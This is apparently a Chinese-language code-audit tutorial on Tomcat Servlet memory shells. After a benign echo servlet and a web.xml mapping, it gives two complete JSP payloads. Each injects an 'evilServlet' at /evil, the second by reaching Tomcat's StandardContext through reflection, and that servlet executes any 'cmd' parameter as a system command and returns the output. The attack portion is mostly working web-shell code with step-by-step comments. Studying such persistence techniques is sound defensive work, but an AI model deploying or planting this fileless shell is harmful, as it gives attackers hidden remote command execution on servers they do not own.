代码审计 | Servlet —— Tomcat 内存马

package org.example.filter;
​
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
​
//@WebServlet(value = "/echo", loadOnStartup = 1)
@WebServlet("/echo")
public class EchoServlet extends HttpServlet {
​
    @Override
    public void init() throws ServletException {
        System.out.println("EchoServlet 初始化");
    }
​
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp)
            throws IOException {
        String msg = req.getParameter("msg");
        resp.setContentType("text/plain;charset=UTF-8");
        resp.getWriter().write("你输入的是：" + msg);
    }
​
    @Override
    public void destroy() {
        System.out.println("EchoServlet 销毁");
    }
}

请求 → Filter1.doFilter() → Filter2.doFilter() → Servlet.doGet() → 响应
       ↓ 可截断 return       ↓ 可截断 return       直接输出，无后续

<!-- 声明 Servlet：给 Servlet 起个内部名字，并指定它对应的 Java 类 -->
<servlet>
    <servlet-name>echoServlet</servlet-name>
    <servlet-class>org.example.servlet.EchoServlet</servlet-class>
</servlet>
​
<!-- 映射 Servlet：告诉 Tomcat 这个 Servlet 要处理哪些 URL -->
<servlet-mapping>
    <servlet-name>echoServlet</servlet-name>
    <url-pattern>/echo</url-pattern>
</servlet-mapping>

public ServletRegistration.Dynamic addServlet(String servletName, Servlet servlet);
public ServletRegistration.Dynamic addServlet(String servletName, Class<? extends Servlet> servletClass);

ServletRegistration.Dynamic dynamic = servletContext.addServlet("evilServlet", evilServlet);
dynamic.addMapping("/evil");

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.http.*" %>
<%@ page import="java.io.*" %>
<%
    ServletContext servletContext = request.getServletContext();
​
    Servlet evilServlet = new HttpServlet() {
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
            String cmd = req.getParameter("cmd");
            if (cmd != null) {
                Process process = Runtime.getRuntime().exec(cmd);
                InputStream inputStream = process.getInputStream();
                ByteArrayOutputStream baos = new ByteArrayOutputStream();
                byte[] buffer = new byte[1024];
                int len;
                while ((len = inputStream.read(buffer)) != -1) {
                    baos.write(buffer, 0, len);
                }
                resp.getWriter().write(new String(baos.toByteArray(), "GBK"));
                return;
            }
            resp.getWriter().write("Servlet is running...");
        }
​
        @Override
        protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
            doGet(req, resp);
        }
    };
​
    ServletRegistration.Dynamic dynamic = servletContext.addServlet("evilServlet", evilServlet);
    dynamic.addMapping("/evil");
    out.println("Servlet 内存马注入成功！访问 /evil?cmd=whoami 测试");
%>

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.http.*" %>
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.StandardWrapper" %>
​
<%
// ========== 第一步：反射获取 StandardContext ==========
// 低版本写法：ServletContext servletContext = request.getSession().getServletContext();
ServletContext servletContext = request.getServletContext();
​
// 和 Filter 一样，需要反射两层获取核心对象 StandardContext
​
// 1. 获取 ApplicationContext
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
​
// 2. 获取 StandardContext
Field stdContextField = applicationContext.getClass().getDeclaredField("context");
stdContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) stdContextField.get(applicationContext);
​
// 拿到 StandardContext 后，后续操作调用的都是其公开方法（addChild、addServletMappingDecoded），无需再次动用反射。
​
// ========== 第二步：定义恶意 Servlet（匿名内部类） ==========
// 通过匿名内部类的方式，直接继承抽象类 HttpServlet 并重写 doGet 和 doPost 方法
// 无需单独编写 .java 文件
Servlet evilServlet = new HttpServlet() {
​
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        // 获取请求参数 cmd
        String cmd = req.getParameter("cmd");
        if (cmd != null) {
            // 调用系统命令
            Process process = Runtime.getRuntime().exec(cmd);
            // 把结果输出到网页
            InputStream inputStream = process.getInputStream();
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            byte[] buffer = new byte[1024];
            int len;
            while ((len = inputStream.read(buffer)) != -1) {
                baos.write(buffer, 0, len);
            }
            resp.getWriter().write(new String(baos.toByteArray(), "GBK"));
            return;
        }
        resp.getWriter().write("Servlet is running...");
    }
​
    @Override
    // doPost 直接调用 doGet，确保 GET/POST 都能触发命令执行
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        doGet(req, resp);
    }
};
​
// 为什么 Servlet 不用写 init 和 destroy？
// 因为 HttpServlet 是抽象类，它已经为 init() 和 destroy() 提供了默认的空实现，不写也不会报错。
​
// 为什么 Filter 必须写 init 和 destroy？
// 因为 Filter 是接口，接口中所有方法都是抽象的，没有方法体。
// 必须把三个方法全部实现，哪怕不需要也得写上空的大括号 {}，否则编译不通过。
​
// ========== 第三步：通过 StandardContext 注册 Servlet ==========
​
// 1. 创建 StandardWrapper 包装 Servlet
// 在 Tomcat 内部，每一个 Servlet 都不是直接裸露的，而是被一个 StandardWrapper 对象包装起来
// 类似 Filter 里的 FilterDef 存储 Filter 的元信息（名称、类名、实例引用）
// 需要先包装后才能传入 StandardContext
// 而传入的方法可以直接用 addChild（因为是 public 的）
StandardWrapper wrapper = new StandardWrapper();
wrapper.setName("evilServlet");             // 标识
wrapper.setServlet(evilServlet);            // 直接设置实例
wrapper.setServletClass(evilServlet.getClass().getName()); // 设置类名（可选）
​
// 2. 将 Wrapper 添加到 StandardContext 的子容器中
standardContext.addChild(wrapper);
​
// 3. 添加 URL 映射
// 关于 addServletMappingDecoded：
// 在 Tomcat 9 中，旧版的 addServletMapping 已被废弃并移除，取而代之的是 addServletMappingDecoded。
// 带 Decoded 后缀的方法会对 URL 路径进行百分号解码处理，避免双重编码问题。
// 它是 StandardContext 的 public 方法，直接调用即可。
standardContext.addServletMappingDecoded("/evil", "evilServlet");
​
out.println("Servlet 内存马注入成功（反射方式）！访问 /evil?cmd=whoami 测试");
%>